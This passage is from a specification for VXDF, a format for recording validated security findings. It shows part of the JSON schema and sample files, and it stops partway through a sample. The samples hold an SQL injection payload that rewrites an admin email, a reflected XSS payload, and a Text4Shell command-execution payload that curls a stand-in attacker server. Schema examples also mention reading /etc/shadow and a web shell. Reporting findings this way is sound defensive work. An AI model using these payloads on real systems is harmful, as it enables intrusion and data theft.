component version."
            },
            "vulnerabilitySeverity": {"type": "string", "description": "Severity of the identified
component vulnerability as reported by the scanner, NVD, or advisory (e.g., 'CRITICAL', 'HIGH').
This is the pre-validation severity."},
            "details": {"type": "string", "description": "Additional details from the SCA tool, such as the
path to the vulnerable library in the project, a link to the advisory, or specific notes about the
finding from the tool."}
        },
        "required": ["componentIdentifier", "vulnerabilityIdentifiers"],
        "additionalProperties": false, "patternProperties": {"^x-": {}}
    },
    "MissingArtifactData": {
        "type": "object",
        "description": "Structured data for evidenceType: MISSING_ARTIFACT_VERIFICATION. Demonstrates the absence or incorrect configuration of a required security control, artifact, or setting.",
        "properties": {
            "artifactName": {"type": "string", "description": "Name or description of the missing security artifact (e.g., 'X-Frame-Options Header', 'Input Validation Routine for username parameter', 'CSRF Token Field in payment form')."},
            "artifactType": {"type": "string", "description": "Type of artifact (e.g., 'HTTP_Security_Header', 'Security_Control_Function', 'Configuration_Setting', 'File', 'Process_Control')."},
            "checkMethodDescription": {"type": "string", "description": "How the absence or misconfiguration of the artifact was verified (e.g., 'Reviewed HTTP response headers via curl for /login endpoint', 'Manual code review of login.php, line 42-50', 'Scanned server configuration for SSLProtocol directive using openssl s_client')."},
            "expectedState": {"type": "string", "description": "The expected state, presence, or configuration of the artifact for secure operation (e.g., 'X-Frame-Options header should be present with value DENY or SAMEORIGIN', 'Username parameter should be validated against a whitelist pattern: ^[a-zA-Z0-9_]{3,16}$ and HTML-encoded before rendering.')."},
            "observedState": {"type": "string", "description": "The observed state, confirming the absence or incorrect configuration (e.g., 'Header not present in response.', 'No input validation or output encoding found for parameter username in reviewed code.', 'CSRF token was not found in the form submission to /transfer_funds.')."}
        },
        "required": ["artifactName", "expectedState", "observedState"],
        "additionalProperties": false, "patternProperties": {"^x-": {}}
    },
    "ObservedBehaviorData": {
        "type": "object",
        "description": "Structured data for evidenceType: OBSERVED_BEHAVIORAL_CHANGE. Describes an observed change in application or system behavior indicative of exploitation.",
        "properties": {

            "actionPerformedToTrigger": {"type": "string", "description": "The action or sequence of
actions performed by the tester/attacker that led to the observed behavior (e.g., 'Submitted
payment form with negative quantity for item X', 'Accessed admin endpoint
/api/deleteUser?id=123 with regular user session cookie')."},

            "expectedBehavior": {"type": "string", "description": "What the application behavior
should have been under normal, secure conditions in response to the action (e.g., 'Form
submission should be rejected with an invalid quantity error', 'Access to admin endpoint
/api/deleteUser should be denied with a 403 Forbidden error.')."},

            "observedBehavior": {"type": "string", "description": "The actual behavior observed that
indicates successful exploitation or a security weakness (e.g., 'Order was processed
successfully, and a refund was issued for the negative quantity.', 'User ID 123 was successfully
deleted from the system.', 'Webpage content was replaced with attacker-supplied HTML.')."},

            "contextualNotes": {"type": "string", "description": "Any relevant context or notes that help
understand the significance of the behavioral change or how it was observed (e.g., 'This
demonstrates a business logic flaw in order processing.', 'Confirms privilege escalation from
user to admin capabilities.')."}

        },

        "required": ["actionPerformedToTrigger", "expectedBehavior", "observedBehavior"],

        "additionalProperties": false, "patternProperties": {"^x-": {}}

    },

    "DbStateChangeData": {

        "type": "object",

        "description": "Structured data for evidenceType: DATABASE_STATE_CHANGE_PROOF.
Shows changes to database state as evidence of exploitation.",

        "properties": {

            "databaseType": {"type": "string", "description": "Type of database (e.g., 'MySQL',
'PostgreSQL', 'Oracle', 'MongoDB')."},

            "targetObjectDescription": {"type": "string", "description": "Description of the database
object affected (e.g., 'users table, record where username=admin', 'products.price column for
product_id=123', 'customer_audit_log table')."},
            "stateBeforeExploit": {"type": "string", "description": "Description or snippet of the
relevant database state before the exploit attempt (e.g., 'admin_user.password_hash =
<hash_value_A>', 'product_123.price = 19.99', 'customer_audit_log count = 5')."},

            "actionTriggeringChange": {"type": "string", "description": "The action or exploit that was
performed to cause the state change (e.g., 'SQL injection payload submitted via login form', 'API
call to /updateProduct with manipulated price')."},

            "stateAfterExploit": {"type": "string", "description": "Description or snippet of the database
state after the exploit attempt, showing the malicious or unexpected change (e.g.,
'admin_user.password_hash = <new_hash_value_B>', 'product_123.price = 0.01',
'customer_audit_log count = 5 (no new entry for failed login due to injection)')."},

            "queryUsedForVerification": {"type": "string", "description": "SQL query or method used
to observe the database state before and/or after the exploit, if applicable."}

        },

        "required": ["targetObjectDescription", "stateAfterExploit"],

        "additionalProperties": false, "patternProperties": {"^x-": {}}

    },

    "FsChangeData": {

        "type": "object",

        "description": "Structured data for evidenceType: FILE_SYSTEM_CHANGE_PROOF.
Shows creation, modification, deletion, or permission changes of files/directories.",

        "properties": {

            "filePath": {"type": "string", "description": "The full path to the file or directory affected on
the target system."},

            "changeType": {"type": "string", "enum": ["CREATION", "MODIFICATION", "DELETION",
"PERMISSION_CHANGE", "READ_ACCESS"], "description": "Type of change observed on the
file system artifact."},

            "contentOrPermissionBefore": {"type": "string", "description": "Content snippet or
permission state (e.g., 'rwxr-xr-x') before the change (if applicable and known)."},

            "contentOrPermissionAfter": {"type": "string", "description": "Content snippet or
permission state after the change (if applicable and known). For CREATION, this would be the
new content/permissions. For DELETION, this might be 'File no longer exists'."},
            "commandOrMethodUsed": {"type": "string", "description": "The command, payload, or method that caused this file system change (e.g., 'Path traversal payload in file upload', 'OS command injection: rm /tmp/important.file')."}

        },

        "required": ["filePath", "changeType"],

        "additionalProperties": false, "patternProperties": {"^x-": {}}

    },

    "ExfiltratedDataSampleData": {

        "type": "object",

        "description": "Structured data for evidenceType: EXFILTRATED_DATA_SAMPLE. Provides a sample of data confirmed to be exfiltrated from the target system.",

        "properties": {

            "dataDescription": {"type": "string", "description": "Description of the type of data exfiltrated (e.g., 'User credentials (usernames and password hashes)', 'Session cookies for active users', 'Partial PII records from customer database', 'Contents of /etc/shadow')."},

            "dataSample": {"type": "string", "description": "A small, sanitized, and illustrative sample of the exfiltrated data. **Actual sensitive data SHOULD NOT be included directly unless absolutely necessary and with extreme caution/redaction.** Use placeholders or descriptions where possible (e.g., 'Format: username:hash - admin:$2a...', 'First 5 customer names: [UserA, UserB...]', 'Cookie: JSESSIONID=REDACTED_VALUE...')."},

            "exfiltrationMethod": {"type": "string", "description": "How the data was exfiltrated (e.g., 'Via DNS query to attacker-controlled server', 'HTTP POST to external endpoint', 'Written to web-accessible file and downloaded', 'Blind SQLi time-based character extraction')."},

            "destinationIndicator": {"type": "string", "description": "Indicator of the exfiltration destination, if known (e.g., 'Attacker domain: evil-collector.com', 'IP: 1.2.3.4', 'Web shell URL: /uploads/shell.php?cmd=cat /etc/passwd')."}

        },

        "required": ["dataDescription", "dataSample"],

        "additionalProperties": false, "patternProperties": {"^x-": {}}

    },
```

```json
  "SessionInfoLeakData": {
    "type": "object",
    "description": "Structured data for evidenceType: SESSION_INFORMATION_LEAK.
Details the leakage of sensitive session-related information.",
    "properties": {
      "leakedInformationType": {"type": "string", "description": "Type of session information
leaked (e.g., 'SessionID Cookie Value', 'CSRF Token in URL Parameter', 'Authorization Bearer
Token in Logs', 'User-specific API Key in Referer Header')."},
      "leakedDataSample": {"type": "string", "description": "The leaked session data itself
(should be illustrative or partially masked if highly sensitive, e.g., 'JSESSIONID=ABC...XYZ',
'token=REDACTED...DEF')."},
      "exposureContextDescription": {"type": "string", "description": "How and where the
session information was exposed (e.g., 'Observed in Referer header sent to third-party analytics
domain', 'Found in browser history due to GET request parameters', 'Logged in plaintext in
application debug logs accessible to lower-privileged users')."},
      "potentialImpact": {"type": "string", "description": "The potential impact of this leak (e.g.,
'Session hijacking of victim user accounts', 'CSRF attack facilitation', 'Unauthorized API access
using leaked token')."}
    },
    "required": ["leakedInformationType", "leakedDataSample", "exposureContextDescription"],
    "additionalProperties": false, "patternProperties": {"^x-": {}}
  },
  "DifferentialAnalysisData": {
    "type": "object",
    "description": "Structured data for evidenceType: DIFFERENTIAL_ANALYSIS_RESULT.
Compares outcomes of different interaction attempts to demonstrate a vulnerability (e.g., for
authorization bypasses, timing attacks).",
    "properties": {
      "baselineRequestDescription": {"type": "string", "description": "Description of the baseline
or control request/action (e.g., 'Request to /api/resource/123 with low-privilege user session')."},
            "baselineResponseOrOutcomeSummary": {"type": "string", "description": "Summary of
the response or outcome for the baseline request/action (e.g., 'Received HTTP 403 Forbidden',
'System processed request normally without error')."},

            "modifiedRequestOrActionDescription": {"type": "string", "description": "Description of the
modified request or action that demonstrates the vulnerability (e.g., 'Same request to
/api/resource/123 with low-privilege user session but with X-Original-User-ID header set to
admin', 'Request to /api/resource/123 with slightly different timing for parameter X')."},

            "modifiedResponseOrOutcomeSummary": {"type": "string", "description": "Summary of
the response or outcome for the modified request/action, showing the exploit (e.g., 'Received
HTTP 200 OK with resource 123 data', 'System response time was 500ms slower, indicating
processing of privileged data')."},

            "analysisOfDifference": {"type": "string", "description": "Explanation of how the difference
in outcomes demonstrates the vulnerability (e.g., 'The presence of X-Original-User-ID header
bypassed authorization checks.', 'The timing difference suggests a time-based oracle for data
extraction.')."}

        },

        "required": ["baselineRequestDescription", "baselineResponseOrOutcomeSummary",
"modifiedRequestOrActionDescription", "modifiedResponseOrOutcomeSummary",
"analysisOfDifference"],

        "additionalProperties": false, "patternProperties": {"^x-": {}}

    },

    "ToolSpecificOutputData": {

        "type": "object",

        "description": "Structured data for evidenceType: TOOL_SPECIFIC_OUTPUT_LOG.
Relevant output from a specific security tool that directly supports the vulnerability claim.",

        "properties": {

            "toolName": {"type": "string", "description": "Name of the tool that produced this output
(e.g., 'Nmap', 'SQLMap', 'Metasploit Framework', 'Custom Fuzzer')."},

            "toolVersion": {"type": "string", "description": "Version of the tool, if known."},

            "commandLineExecuted": {"type": "string", "description": "The command line used to run
the tool, if applicable and relevant."},
            "relevantLogSectionOrOutput": {"type": "string", "description": "The specific snippet or
section of the tool's output that constitutes or supports the evidence. This could be a multi-line
string."},

            "interpretationOfOutput": {"type": "string", "description": "How this tool output confirms
the vulnerability or its exploitability (e.g., 'Nmap output shows port 3306 (MySQL) open to the
internet with version X.Y.Z known to be vulnerable.', 'SQLMap confirmed time-based blind SQL
injection.')."}

        },

        "required": ["toolName", "relevantLogSectionOrOutput"],

        "additionalProperties": false, "patternProperties": {"^x-": {}}

    },

    "OtherEvidenceData": {

        "type": "object",

        "description": "A generic container for evidence types not specifically structured by other
'evidenceType' values. Use sparingly when other types are not adequate.",

        "properties": {

            "dataTypeDescription": { "type": "string", "description": "A string clearly describing the
nature and format of the dataContent (e.g., 'Proprietary binary log format snippet', 'Mathematical
proof of cryptographic weakness')." },

            "dataContent": { "type": "string", "description": "The evidence data, typically as a string.
For complex binary or structured data not fitting other types, consider Base64 encoding and
note it in dataTypeDescription or encodingFormat, or link to external resources if too large and
allowed by policy." },

            "encodingFormat": { "type": "string", "enum": ["plaintext", "base64", "hex", "json_string",
"xml_string", "custom_format", "uri_to_external_resource"], "default": "plaintext", "description":
"Encoding or format of dataContent. If 'uri_to_external_resource', dataContent should be the
URI." }

        },

        "required": ["dataTypeDescription", "dataContent"],

        "additionalProperties": true,

        "patternProperties": { "^x-": {} }
    }
  }
}
```

The JSON schema is normative; in any case of discrepancy between this schema and the descriptive text, the schema definition takes precedence for what constitutes a valid VXDF file.

Appendix B: Sample VXDF File

To illustrate the refined VXDF v1.0.0 format, here are example VXDF documents. These examples are non-normative (for understanding) but follow the v1.0.0 normative schema.

Example 1: Flow-Based Vulnerabilities - SQL Injection and Reflected XSS

This VXDF document contains two `ExploitFlow` instances: one for a SQL injection and another for a Reflected Cross-Site Scripting vulnerability.

```
{
  "vxdfVersion": "1.0.0",
  "id": "bc9f193c-7e73-4c69-9d44-1b024632b16b",
  "generatedAt": "2025-05-17T18:30:00Z",
  "generatorTool": {
    "name": "AcmeSecurityScanner Suite",
    "version": "2.5.1"
  },
  "applicationInfo": {
    "name": "Acme WebApp",
    "version": "v2.3.1-patch2",
    "repositoryUrl": "https://git.example.com/acme/webapp.git",
    "environment": "staging",
    "purl": "pkg:generic/acme/webapp@v2.3.1-patch2"
```

```
},
"exploitFlows": [
  {
    "id": "f47ac10b-58cc-4372-a567-0e02b2c3d479",
    "title": "Authenticated SQL Injection in User Profile Update",
    "description": "Unsanitized 'userId' parameter in the user profile update functionality is directly concatenated into a SQL UPDATE statement, allowing an authenticated attacker to modify arbitrary records or extract data from the 'user_profiles' table.",
    "validatedAt": "2025-05-17T14:55:00Z",
    "validationEngine": {
      "name": "DAST Engine - SQLi Module",
      "version": "1.2.0"
    },
    "severity": {
      "level": "HIGH",
      "cvssV3_1": {
        "version": "3.1",
        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
        "baseScore": 8.1,
        "baseMetrics": {
          "attackVector": "NETWORK",
          "attackComplexity": "LOW",
          "privilegesRequired": "LOW",
          "userInteraction": "NONE",
          "scope": "UNCHANGED",
          "confidentialityImpact": "HIGH",
      "integrityImpact": "HIGH",
      "availabilityImpact": "NONE"
     }
    },
    "justification": "Allows modification and exfiltration of sensitive user profile data by any authenticated user."
   },
   "category": "INJECTION",
   "cwe": ["CWE-89"],
   "status": "OPEN",
   "tags": ["Authenticated", "PII_Impact"],
   "source": {
    "locationType": "WEB_ENDPOINT_PARAMETER",
    "description": "User-controlled 'userId' parameter from the profile update form.",
    "url": "https://staging.acme.example.com/api/profile/update",
    "httpMethod": "POST",
    "parameterName": "userId",
    "parameterLocation": "body_form"
   },
   "sink": {
    "locationType": "SOURCE_CODE_UNIT",
    "description": "SQL UPDATE statement execution using unsanitized input.",
    "filePath": "src/main/java/com/acme/controller/ProfileController.java",
    "startLine": 152,
    "fullyQualifiedName": "com.acme.service.UserProfileService.updateProfileById",
        "snippet": "String query = \"UPDATE user_profiles SET email='\" + newEmail + \"' WHERE user_id='\" + userId + \"';\";\nstatement.executeUpdate(query);"
      },
      "steps": [
        {
          "order": 0,
          "location": {
            "locationType": "WEB_ENDPOINT_PARAMETER",
            "url": "https://staging.acme.example.com/api/profile/update",
            "parameterName": "userId",
            "description": "Attacker submits a POST request to the profile update endpoint."
          },
          "description": "Attacker crafts a POST request with a malicious 'userId' value.",
          "stepType": "SOURCE_INTERACTION"
        },
        {
          "order": 1,
          "location": {
            "locationType": "SOURCE_CODE_UNIT",
            "filePath": "src/main/java/com/acme/controller/ProfileController.java",
            "startLine": 75,
            "fullyQualifiedName": "com.acme.controller.ProfileController.handleUpdate"
          },
          "description": "The 'userId' parameter is read from the request.",
          "stepType": "DATA_PROPAGATION"
        },
        {
          "order": 2,
          "location": {
            "locationType": "SOURCE_CODE_UNIT",
            "filePath": "src/main/java/com/acme/service/UserProfileService.java",
            "startLine": 152
          },
          "description": "The unsanitized 'userId' is concatenated into an SQL UPDATE query string.",
          "stepType": "DATA_TRANSFORMATION"
        },
        {
          "order": 3,
          "location": {
            "locationType": "DATABASE_SCHEMA_OBJECT",
            "databaseType": "PostgreSQL",
            "objectName": "user_profiles table update operation"
          },
          "description": "The malicious SQL query is executed against the database.",
          "stepType": "SINK_INTERACTION"
        }
      ],
      "evidence": [
        {
          "id": "a0b1c2d3-e4f5-4a5b-8c9d-0e1f2a3b4c5d",
          "evidenceType": "TEST_PAYLOAD_USED",
          "validationMethod": "DYNAMIC_ANALYSIS_EXPLOIT",

          "description": "SQL injection payload used to update another user's email address.",

          "timestamp": "2025-05-17T14:50:00Z",

          "data": {

            "payloadDescription": "Payload injects into userId to update email for userId 'admin'.",

            "payloadContent": "target_user_id' OR '1'='1'; UPDATE user_profiles SET
email='pwned@example.com' WHERE user_id='admin'; -- ",

            "payloadEncoding": "plaintext",

            "targetParameterOrLocation": "POST body: userId"

          }

        },

        {

          "id": "b1c2d3e4-f5a6-4b6c-9d0e-1f2a3b4c5d6e",

          "evidenceType": "HTTP_REQUEST_LOG",

          "validationMethod": "DYNAMIC_ANALYSIS_EXPLOIT",

          "description": "HTTP POST request demonstrating the SQL injection attempt.",

          "timestamp": "2025-05-17T14:50:05Z",

          "data": {

            "method": "POST",

            "url": "https://staging.acme.example.com/api/profile/update",

            "version": "HTTP/1.1",

            "headers": [{"name": "Content-Type", "value": "application/x-www-form-urlencoded"},
{"name":"Cookie", "value":"session=legituser"}],

            "body":
"userId=target_user_id'%20OR%20'1'='1';%20UPDATE%20user_profiles%20SET%20email='pwned
@example.com'%20WHERE%20user_id='admin';%20--%20&newEmail=test@test.com"

          }
        },
        {
          "id": "c2d3e4f5-a6b7-4c7d-0e1f-2a3b4c5d6e7f",
          "evidenceType": "DATABASE_STATE_CHANGE_PROOF",
          "validationMethod": "MANUAL_PENETRATION_TESTING_EXPLOIT",
          "description": "Verification that the admin user's email was changed in the database.",
          "timestamp": "2025-05-17T14:52:00Z",
          "data": {
            "databaseType": "PostgreSQL",
            "targetObjectDescription": "user_profiles table, email column for user_id 'admin'",
            "stateBeforeExploit": "admin@acme.example.com",
            "actionTriggeringChange": "Execution of injected SQL UPDATE statement.",
            "stateAfterExploit": "pwned@example.com",
            "queryUsedForVerification": "SELECT email FROM user_profiles WHERE user_id='admin';"
          }
        }
      ]
    },
    {
      "id": "0d1e2f3a-4b5c-4678-890a-bcdef0123456",
      "title": "Reflected XSS in Search Results Page",
      "description": "User input from the 'query' GET parameter is reflected unsanitized in the search results page HTML, allowing arbitrary JavaScript execution in the context of the user's browser.",
      "validatedAt": "2025-05-17T15:10:00Z",
      "validationEngine": {
        "name": "Manual Browser Test",
  "version": "N/A"
},
"severity": {
  "level": "MEDIUM",
  "cvssV3_1": {
    "version": "3.1",
    "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
    "baseScore": 6.1,
    "baseMetrics": {
      "attackVector": "NETWORK",
      "attackComplexity": "LOW",
      "privilegesRequired": "NONE",
      "userInteraction": "REQUIRED",
      "scope": "CHANGED",
      "confidentialityImpact": "LOW",
      "integrityImpact": "LOW",
      "availabilityImpact": "NONE"
    }
  }
},
"category": "CROSS_SITE_SCRIPTING",
"cwe": ["CWE-79"],
"status": "OPEN",
"source": {
  "locationType": "WEB_ENDPOINT_PARAMETER",
        "description": "The 'query' GET parameter.",

        "url": "https://staging.acme.example.com/search",

        "httpMethod": "GET",

        "parameterName": "query",

        "parameterLocation": "query"

      },

      "sink": {

        "locationType": "SOURCE_CODE_UNIT", // Could also be WEB_ENDPOINT_PARAMETER if
describing where it's rendered

        "description": "Reflection of unsanitized 'query' parameter into HTML.",

        "filePath": "src/main/webapp/search-results.jsp",

        "startLine": 42,

        "snippet": "<h2>Search Results for: <%= request.getParameter(\"query\") %></h2>"

      },

      "steps": [

        {

          "order": 0,

          "location": {

            "locationType": "WEB_ENDPOINT_PARAMETER",

             "url": "https://staging.acme.example.com/search",

             "parameterName": "query"

          },

          "description": "User (or attacker) crafts a URL with a malicious script in the 'query' parameter.",

          "stepType": "SOURCE_INTERACTION"

        },

        {
```

```
        "order": 1,

        "location": {

          "locationType": "SOURCE_CODE_UNIT",

          "filePath": "src/main/webapp/search-results.jsp",

          "startLine": 42

        },

        "description": "The server-side script (JSP) directly embeds the unsanitized 'query' parameter
value into the HTML response.",

        "stepType": "SINK_INTERACTION"

      },

      {

        "order": 2,

        "location": {

          "locationType": "USER_INTERFACE_ELEMENT",

          "description": "Victim's browser"

        },

        "description": "The victim's browser receives the HTML and executes the embedded malicious
script.",

        "stepType": "SINK_INTERACTION"

      }

    ],

    "evidence": [

      {

        "id": "1e2f3a4b-5c6d-4789-90ab-cdef01234567",

        "evidenceType": "TEST_PAYLOAD_USED",

        "validationMethod": "MANUAL_PENETRATION_TESTING_EXPLOIT",
          "description": "XSS payload used in the 'query' parameter.",
          "timestamp": "2025-05-17T15:08:00Z",
          "data": {
            "payloadContent": "<script>alert('XSS_VXDF_Proof')</script>",
            "targetParameterOrLocation": "URL query parameter 'query'"
          }
        },
        {
          "id": "2f3a4b5c-6d7e-4890-a1bc-def012345678",
          "evidenceType": "HTTP_REQUEST_LOG",
          "validationMethod": "MANUAL_PENETRATION_TESTING_EXPLOIT",
          "description": "HTTP GET request with the XSS payload.",
          "timestamp": "2025-05-17T15:08:05Z",
          "data": {
            "method": "GET",
            "url":
"https://staging.acme.example.com/search?query=%3Cscript%3Ealert('XSS_VXDF_Proof')%3C/scri
pt%3E",
            "headers": []
          }
        },
        {
          "id": "3a4b5c6d-7e8f-4901-b2cd-ef0123456789",
          "evidenceType": "HTTP_RESPONSE_LOG",
          "validationMethod": "MANUAL_PENETRATION_TESTING_EXPLOIT",
          "description": "HTTP response showing the payload reflected in the HTML body.",
        "timestamp": "2025-05-17T15:08:06Z",
        "data": {
          "statusCode": 200,
          "url": "https://staging.acme.example.com/search?query=%3Cscript%3Ealert('XSS_VXDF_Proof')%3C/script%3E",
          "headers": [{"name": "Content-Type", "value": "text/html"}],
          "body": "<html>...<h2>Search Results for: <script>alert('XSS_VXDF_Proof')</script></h2>...</html>"
        }
      },
      {
        "id": "4b5c6d7e-8f90-4a1b-c3de-f01234567890",
        "evidenceType": "SCREENSHOT_EMBEDDED_BASE64",
        "validationMethod": "MANUAL_PENETRATION_TESTING_EXPLOIT",
        "description": "Screenshot of the browser alert dialog confirming XSS execution.",
        "timestamp": "2025-05-17T15:08:10Z",
        "data": {
            "imageDataBase64": "iVBORw0KGgoAAAANSUhEUgAAASwAAACoCAMAAABt9SM9AAAA... (actual base64 data would be very long) ...AAAElFTkSuQmCC",
            "imageFormat": "png",
            "caption": "Browser alert box displaying 'XSS_VXDF_Proof'."
        }
      }
    ]
  }
  ]
}
```

Example 2: Non-Flow Vulnerability - Missing Security Header

This VXDF document illustrates a non-flow based vulnerability.

```
{
  "vxdfVersion": "1.0.0",
  "id": "d1b3e0a1-7c1e-4b1a-8f0c-2d9e0a1b3e5c",
  "generatedAt": "2025-05-17T20:00:00Z",
  "generatorTool": {
    "name": "WebApp Config Auditor",
    "version": "1.1.0"
  },
  "applicationInfo": {
    "name": "SecurePortal",
    "version": "2.5",
    "purl": "pkg:docker/myorg/secureportal@2.5"
  },
  "exploitFlows": [
    {
      "id": "a2c4e0f3-1d8a-4e9b-b0f1-3e5d1a2b3c4d",
      "title": "Missing X-Content-Type-Options Security Header",
      "description": "The web application does not set the X-Content-Type-Options HTTP header with the value 'nosniff'. This can expose the application to MIME-sniffing attacks, where browsers might misinterpret the content type of responses, potentially leading to script execution in some contexts.",
      "validatedAt": "2025-05-17T19:30:00Z",
      "validationEngine": {
```

```
      "name": "Automated DAST Scanner - Header Check Module",
      "version": "4.7"
    },
    "severity": {
      "level": "LOW",
      "cvssV3_1": {
          "version": "3.1",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
          "baseScore": 4.3,
          "baseMetrics": { /* ... */ }
      },
      "justification": "Reduces protection against MIME-sniffing attacks, requires user interaction with
a crafted resource under specific browser behaviors."
    },
    "category": "MISSING_SECURITY_HEADER",
    "cwe": ["CWE-693"],
    "status": "OPEN",
    "affectedComponents": [
      {
        "name": "Web Application HTTP Response Configuration",
        "componentType": "SERVICE_ENDPOINT",
        "description": "The issue pertains to how HTTP responses are configured and sent by the
main web application endpoints.",
        "locations": [
          {
            "locationType": "WEB_HTTP_HEADER",
              "description": "The X-Content-Type-Options header is not consistently set to 'nosniff' by the
web server for application responses.",

              "url": "https://secureportal.example.com/",

              "headerName": "X-Content-Type-Options"

            }

          ]

        }

      ],

      "evidence": [

        {

          "id": "e1f0a2b3-c4d5-4e6f-8a9b-0c1d2e3f4a5b",

          "evidenceType": "MISSING_ARTIFACT_VERIFICATION",

          "validationMethod": "DYNAMIC_ANALYSIS_EXPLOIT",

          "description": "Analysis of HTTP response headers confirmed the X-Content-Type-Options
header is absent.",

          "timestamp": "2025-05-17T19:25:00Z",

          "data": {

            "artifactName": "X-Content-Type-Options Header",

            "artifactType": "HTTP_Security_Header",

            "checkMethodDescription": "Automated scan of HTTP responses from multiple application
endpoints.",

            "observedState": "Header 'X-Content-Type-Options' was not present in the HTTP response
for the tested endpoints.",

            "expectedState": "Header 'X-Content-Type-Options' should be present with value 'nosniff'."

          }

        },

        {
          "id": "f0a1b2c3-d4e5-4f6a-8b9c-0d1e2f3a4b5c",
          "evidenceType": "HTTP_RESPONSE_LOG",
          "validationMethod": "DYNAMIC_ANALYSIS_EXPLOIT",
          "description": "Sample HTTP response from application root demonstrating the absence of the header.",
          "timestamp": "2025-05-17T19:25:01Z",
          "data": {
            "statusCode": 200,
            "url": "https://secureportal.example.com/",
            "headers": [
              {"name": "Content-Type", "value": "text/html; charset=utf-8"},
              {"name": "Content-Length", "value": "12345"},
              {"name": "X-XSS-Protection", "value": "1; mode=block"}
              // X-Content-Type-Options is missing
            ],
            "body": "<html>...</html>"
          }
        }
      ]
    }
  ]
}
```

Example 3: Vulnerable Component with In-Context Exploit Validation

This VXDF document shows a vulnerable component identified by SCA and then validated as exploitable within the application's context.

```
{
```

```
"vxdfVersion": "1.0.0",

"id": "b2c3d0e1-8b2f-4c1d-9e0a-1d8c1a2b3e4f",

"generatedAt": "2025-05-17T21:10:00Z",

"generatorTool": {

  "name": "Advanced SCA & DAST Platform",

  "version": "3.0"

},

"applicationInfo": {

  "name": "DataProcessingService",

  "version": "1.3.5",

  "purl": "pkg:docker/myorg/dataprocessingservice@1.3.5"

},

"exploitFlows": [

  {

    "id": "c3d4e0f1-2e9b-4f0a-a1b0-4f6e1b2c3d5e",

    "title": "Exploitable Apache Commons Text Library (CVE-2022-42889 - 'Text4Shell')",

    "description": "The application utilizes Apache Commons Text version 1.9, which is vulnerable to
CVE-2022-42889 ('Text4Shell'). Untrusted input passed to specific string interpolation functions can
lead to remote code execution. Validation confirmed that an application endpoint logging specific
user-controlled input triggers this RCE.",

    "validatedAt": "2025-05-17T20:50:00Z",

    "validationEngine": {

      "name": "Hybrid Analysis Engine (SCA+DAST)",

      "version": "1.5"

    },

    "severity": {
      "level": "CRITICAL",
      "cvssV3_1": {
        "version": "3.1",
        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
        "baseScore": 9.8,
        "baseMetrics": { /* ... complete base metrics for CVSS 9.8 ... */
          "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE",
          "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH", "availabilityImpact": "HIGH"
        }
      },
      "justification": "Directly exploitable RCE through a library vulnerability via an application
endpoint."
    },
    "category": "VULNERABLE_AND_OUTDATED_COMPONENTS",
    "cwe": ["CWE-502", "CWE-917"], // CWE-502 Deserialization of Untrusted Data, CWE-917
Expression Language Injection
    "remediation": {
      "summary": "Update Apache Commons Text to version 1.10.0 or later. Alternatively, if string
interpolation with lookups is not needed, ensure user input is not passed to vulnerable
interpolators.",
      "detailsUrl": "https://nvd.nist.gov/vuln/detail/CVE-2022-42889"
    },
    "status": "OPEN",
    "tags": ["RCE", "CVE-2022-42889", "Text4Shell", "Library"],
    "affectedComponents": [
      {
        "name": "Apache Commons Text",
        "version": "1.9",
        "purl": "pkg:maven/org.apache.commons/commons-text@1.9",
        "componentType": "SOFTWARE_LIBRARY",
        "description": "The core vulnerable component.",
        "locations": [
          {
            "locationType": "FILE_SYSTEM_ARTIFACT",
            "filePath": "WEB-INF/lib/commons-text-1.9.jar",
            "description": "Presence of the vulnerable JAR file in the deployed application."
          }
        ]
      }
    ],
    "source": {
      "locationType": "WEB_ENDPOINT_PARAMETER",
      "url": "https://dps.example.com/api/processJob",
      "httpMethod": "POST",
      "parameterName": "jobName",
      "parameterLocation": "body_json_pointer",
      "description": "User-controlled 'jobName' field in JSON body, which is logged by the application
using a vulnerable Log4j configuration (that uses Commons Text for lookups in patterns)."
    },
    "sink": {
      "locationType": "SOURCE_CODE_UNIT",
      "filePath": "com/example/dps/JobProcessor.java",
      "startLine": 88,
      "snippet": "LOGGER.info(\"Processing job: {}\", jobDetails.getJobName()); // jobName is user-controlled and contains the Text4Shell payload",
      "description": "Application code logging user-controlled input, where the logging framework (indirectly via Commons Text) processes interpolators."
    },
    "evidence": [
      {
        "id": "d4e0f1a2-3f0b-4a1c-b2d0-5g7f1c3d4e6f",
        "evidenceType": "VULNERABLE_COMPONENT_SCAN_OUTPUT",
        "validationMethod": "SOFTWARE_COMPOSITION_ANALYSIS",
        "description": "SCA tool initially identified commons-text 1.9 as vulnerable.",
        "timestamp": "2025-05-17T10:30:00Z",
        "data": {
          "toolName": "AdvancedSCA",
          "componentIdentifier": {
              "name": "org.apache.commons:commons-text",
              "version": "1.9",
              "purl": "pkg:maven/org.apache.commons/commons-text@1.9"
          },
          "vulnerabilityIdentifiers": [{"idSystem": "CVE", "idValue": "CVE-2022-42889"}],
          "vulnerabilitySeverity": "CRITICAL"
        }
      },
      {
        "id": "e0f1a2b3-4a1c-4b2d-c3e0-6h8g1d4e5f7a",
        "evidenceType": "TEST_PAYLOAD_USED",
        "validationMethod": "DYNAMIC_ANALYSIS_EXPLOIT",
        "description": "Crafted input using vulnerable interpolators sent to an application endpoint.",
        "timestamp": "2025-05-17T20:45:00Z",
        "data": {
          "payloadContent": "{\"jobName\":
\"${script:javascript:java.lang.Runtime.getRuntime().exec('curl http://attacker-server.com/vxdf-proof/'
+ 'CVE-2022-42889')}\"}",
          "payloadEncoding": "json",
          "targetParameterOrLocation": "HTTP POST body, jobName field"
        }
      },
      {
        "id": "g1a2b3c4-5b2d-4c3e-d4f0-7i9h1e5f6a8c",
        "evidenceType": "EXTERNAL_INTERACTION_PROOF",
        "validationMethod": "DYNAMIC_ANALYSIS_EXPLOIT",
        "description": "Callback received on attacker-controlled server, confirming RCE via
Text4Shell.",
        "timestamp": "2025-05-17T20:45:05Z",
        "data": {
          "interactionType": "HTTP_REQUEST",
          "destinationIpOrDomain": "attacker-server.com",
